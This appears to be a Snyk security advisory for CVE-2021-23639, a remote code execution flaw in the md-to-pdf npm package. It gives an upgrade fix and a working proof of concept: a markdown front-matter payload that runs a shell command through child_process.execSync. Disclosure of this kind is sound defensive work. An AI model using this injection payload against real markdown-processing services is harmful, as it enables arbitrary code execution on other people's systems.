Remote Code Execution (RCE) Affecting md-to-pdf package, versions <5.0.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
2.37% (91st
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-MDTOPDF-1657880
- published 8 Dec 2021
- disclosed 23 Sep 2021
- credit Oscar Arnflo
Introduced: 23 Sep 2021
CVE-2021-23639 Open this link in a new tabHow to fix?
Upgrade md-to-pdf
to version 5.0.0 or higher.
Overview
md-to-pdf is a CLI tool for converting Markdown files to PDF.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to utilizing the library gray-matter to parse front matter content, without disabling the JS engine.
PoC:
//Before running poc.js:
$ cat /tmp/RCE.txt
cat: /tmp/RCE.txt: No such file or directory
//After running poc.js
$ node poc.js
$ cat /tmp/RCE.txt
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)
poc.js:
const { mdToPdf } = require('md-to-pdf');
var payload = '---js\n((require("child_process")).execSync("id > /tmp/RCE.txt"))\n---RCE';
(async () => {
await mdToPdf({ content: payload }, { dest: './output.pdf' });
})();
References
CVSS Scores
version 3.1